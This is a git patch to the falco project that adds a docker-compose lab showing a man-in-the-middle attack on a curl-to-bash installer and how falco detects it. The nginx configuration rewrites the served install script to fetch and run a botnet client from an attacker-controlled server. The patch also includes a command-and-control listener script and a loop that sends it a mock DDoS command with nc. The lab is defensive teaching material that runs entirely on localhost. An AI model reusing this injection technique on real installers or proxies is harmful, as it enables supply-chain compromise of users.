From 139ee56af726811cb5888511362dc454762c865e Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 6 Jun 2016 10:56:35 -0700 Subject: [PATCH] Docker-compose environment for mitm example. Adding docker-compose based example of man-in-the-middle attack against installation scripts and how it can be detected using sysdig falco. The docker-compose environment starts a good web server, compromised nginx installation, evil web server, and a copy of sysdig falco. The README walks through the process of compromising a client by using curl http://localhost/get-software.sh | bash and detecting the compromise using ./fbash. The fbash program included in this example fixes https://github.com/draios/falco/issues/46. --- examples/mitm-sh-installer/README.md | 78 +++++++++ examples/mitm-sh-installer/botnet_master.sh | 7 + examples/mitm-sh-installer/demo.yml | 51 ++++++ .../evil_web_root/botnet_client.py | 18 ++ examples/mitm-sh-installer/fbash | 15 ++ examples/mitm-sh-installer/nginx.conf | 12 ++ .../web_root/install-software.sh | 156 ++++++++++++++++++ rules/falco_rules.yaml | 4 +- 8 files changed, 339 insertions(+), 2 deletions(-) create mode 100644 examples/mitm-sh-installer/README.md create mode 100755 examples/mitm-sh-installer/botnet_master.sh create mode 100644 examples/mitm-sh-installer/demo.yml create mode 100644 examples/mitm-sh-installer/evil_web_root/botnet_client.py create mode 100755 examples/mitm-sh-installer/fbash create mode 100644 examples/mitm-sh-installer/nginx.conf create mode 100644 examples/mitm-sh-installer/web_root/install-software.sh diff --git a/examples/mitm-sh-installer/README.md b/examples/mitm-sh-installer/README.md new file mode 100644 index 00000000..4d6124da --- /dev/null +++ b/examples/mitm-sh-installer/README.md @@ -0,0 +1,78 @@ +#Demo of falco with man-in-the-middle attacks on installation scripts + +For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo. + +## Demo architecture + +### Initial setup + +Make sure no prior `botnet_client.py` processes are lying around. + +### Start everything using docker-compose + +From this directory, run the following: + +``` +$ docker-compose -f demo.yml up +``` + +This starts the following containers: +* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`. +* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`. +* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`. +* attacker_botnet_master: constantly trying to contact the botnet_client.py process. +* falco: will detect the activities of botnet_client.py. + +### Download `install-software.sh`, see botnet client running + +Run the following to fetch and execute the installation script, +which also installs the botnet client: + +``` +$ curl http://localhost/install-software.sh | bash +``` + +You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes). + +Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234: + +``` +$ ps auxww | grep python +... +root 19983 0.1 0.4 33992 8832 pts/1 S 13:34 0:00 python ./botnet_client.py + +$ telnet localhost 1234 +Trying ::1... +Trying 127.0.0.1... +Connected to localhost. +Escape character is '^]'. +``` + +You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client: + +``` +attacker_botnet_master | Trying to contact compromised machine... +attacker_botnet_master | Waiting for botnet command and control commands... +attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" +attacker_botnet_master | **********Contacted compromised machine, sent botnet commands +``` + +At this point, kill the botnet_client.py process to clean things up. + +### Run installation script again using `fbash`, note falco warnings. + +If you run the installation script again: + +``` +curl http://localhost/install-software.sh | ./fbash +``` + +In the docker-compose output, you'll see the following falco warnings: + +``` +falco | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090) +falco | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=) +falco | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090) +falco | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py) +falco | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py) +``` diff --git a/examples/mitm-sh-installer/botnet_master.sh b/examples/mitm-sh-installer/botnet_master.sh new file mode 100755 index 00000000..e62a6718 --- /dev/null +++ b/examples/mitm-sh-installer/botnet_master.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +while true; do + echo "Trying to contact compromised machine..." + echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands" + sleep 5 +done diff --git a/examples/mitm-sh-installer/demo.yml b/examples/mitm-sh-installer/demo.yml new file mode 100644 index 00000000..095af948 --- /dev/null +++ b/examples/mitm-sh-installer/demo.yml @@ -0,0 +1,51 @@ +# Owned by software vendor, serving install-software.sh. +apache: + container_name: apache + image: httpd:2.4 + volumes: + - ${PWD}/web_root:/usr/local/apache2/htdocs + +# Owned by software vendor, compromised by attacker. +nginx: + container_name: mitm_nginx + image: nginx:latest + links: + - apache + ports: + - "80:80" + volumes: + - ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro + +# Owned by attacker. +evil_apache: + container_name: evil_apache + image: httpd:2.4 + volumes: + - ${PWD}/evil_web_root:/usr/local/apache2/htdocs + ports: + - "9090:80" + +# Owned by attacker, constantly trying to contact client. +attacker_botnet_master: + container_name: attacker_botnet_master + image: alpine:latest + net: host + volumes: + - ${PWD}/botnet_master.sh:/tmp/botnet_master.sh + command: + - /tmp/botnet_master.sh + +# Owned by client, detects attack by attacker +falco: + container_name: falco + image: sysdig/falco:latest + privileged: true + volumes: + - /var/run/docker.sock:/host/var/run/docker.sock + - /dev:/host/dev + - /proc:/host/proc:ro + - /boot:/host/boot:ro + - /lib/modules:/host/lib/modules:ro + - /usr:/host/usr:ro + - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml + tty: true diff --git a/examples/mitm-sh-installer/evil_web_root/botnet_client.py b/examples/mitm-sh-installer/evil_web_root/botnet_client.py new file mode 100644 index 00000000..6c60c4e8 --- /dev/null +++ b/examples/mitm-sh-installer/evil_web_root/botnet_client.py @@ -0,0 +1,18 @@ +import socket; +import signal; +import os; + +os.close(0); +os.close(1); +os.close(2); + +signal.signal(signal.SIGINT,signal.SIG_IGN); +serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +serversocket.bind(('0.0.0.0', 1234)) +serversocket.listen(5); +while 1: + (clientsocket, address) = serversocket.accept(); + clientsocket.send('Waiting for botnet command and control commands...\n'); + command = clientsocket.recv(1024) + clientsocket.send('Ok, will execute "{}"\n'.format(command.strip())) + clientsocket.close() diff --git a/examples/mitm-sh-installer/fbash b/examples/mitm-sh-installer/fbash new file mode 100755 index 00000000..1613c8ab --- /dev/null +++ b/examples/mitm-sh-installer/fbash @@ -0,0 +1,15 @@ +#!/bin/bash + +SID=`ps --no-heading -o sess --pid $$` + +if [ $SID -ne $$ ]; then + # Not currently a session leader? Run a copy of ourself in a new + # session, with copies of stdin/stdout/stderr. + setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr & + FBASH=$! + trap "kill $FBASH; exit" SIGINT SIGTERM + wait $FBASH +else + # Just evaluate the commands (from stdin) + source /dev/stdin +fi diff --git a/examples/mitm-sh-installer/nginx.conf b/examples/mitm-sh-installer/nginx.conf new file mode 100644 index 00000000..34e93600 --- /dev/null +++ b/examples/mitm-sh-installer/nginx.conf @@ -0,0 +1,12 @@ +http { + server { + location / { + sub_filter_types '*'; + sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {'; + sub_filter_once off; + proxy_pass http://apache:80; + } + } +} +events { +} diff --git a/examples/mitm-sh-installer/web_root/install-software.sh b/examples/mitm-sh-installer/web_root/install-software.sh new file mode 100644 index 00000000..821bf09e --- /dev/null +++ b/examples/mitm-sh-installer/web_root/install-software.sh @@ -0,0 +1,156 @@ +#!/bin/bash +# +# Copyright (C) 2013-2014 My Company inc. +# +# This file is part of my-software +# +# my-software is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 2 as +# published by the Free Software Foundation. +# +# my-software is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with my-software. If not, see . +# +set -e + +function install_rpm { + if ! hash curl > /dev/null 2>&1; then + echo "* Installing curl" + yum -q -y install curl + fi + + echo "*** Installing my-software public key" + # A rpm --import command would normally be here + + echo "*** Installing my-software repository" + # A curl path-to.repo would normally be here + + echo "*** Installing my-software" + # A yum -q -y install my-software command would normally be here + + echo "*** my-software Installed!" +} + +function install_deb { + export DEBIAN_FRONTEND=noninteractive + + if ! hash curl > /dev/null 2>&1; then + echo "* Installing curl" + apt-get -qq -y install curl < /dev/null + fi + + echo "*** Installing my-software public key" + # A curl | apt-key add - command would normally be here + + echo "*** Installing my-software repository" + # A curl path-to.list would normally be here + + echo "*** Installing my-software" + # An apt-get -qq -y install my-software command would normally be here + + echo "*** my-software Installed!" +} + +function unsupported { + echo 'Unsupported operating system. Please consider writing to the mailing list at' + echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual' + echo 'installation.' + exit 1 +} + +if [ $(id -u) != 0 ]; then + echo "Installer must be run as root (or with sudo)." +# exit 1 +fi + +echo "* Detecting operating system" + +ARCH=$(uname -m) +if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then + unsupported +fi + +if [ -f /etc/debian_version ]; then + if [ -f /etc/lsb-release ]; then + . /etc/lsb-release + DISTRO=$DISTRIB_ID + VERSION=${DISTRIB_RELEASE%%.*} + else + DISTRO="Debian" + VERSION=$(cat /etc/debian_version | cut -d'.' -f1) + fi + + case "$DISTRO" in + + "Ubuntu") + if [ $VERSION -ge 10 ]; then + install_deb + else + unsupported + fi + ;; + + "LinuxMint") + if [ $VERSION -ge 9 ]; then + install_deb + else + unsupported + fi + ;; + + "Debian") + if [ $VERSION -ge 6 ]; then + install_deb + elif [[ $VERSION == *sid* ]]; then + install_deb + else + unsupported + fi + ;; + + *) + unsupported + ;; + + esac + +elif [ -f /etc/system-release-cpe ]; then + DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3) + VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g') + + case "$DISTRO" in + + "oracle" | "centos" | "redhat") + if [ $VERSION -ge 6 ]; then + install_rpm + else + unsupported + fi + ;; + + "amazon") + install_rpm + ;; + + "fedoraproject") + if [ $VERSION -ge 13 ]; then + install_rpm + else + unsupported + fi + ;; + + *) + unsupported + ;; + + esac + +else + unsupported +fi diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 9b5c6097..038c6a42 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -37,7 +37,7 @@ - macro: modify condition: rename or remove - + - macro: spawned_process condition: evt.type = execve and evt.dir=< @@ -320,7 +320,7 @@ # (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153) - rule: create_files_below_dev desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev. - condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null + condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr) output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)" priority: WARNING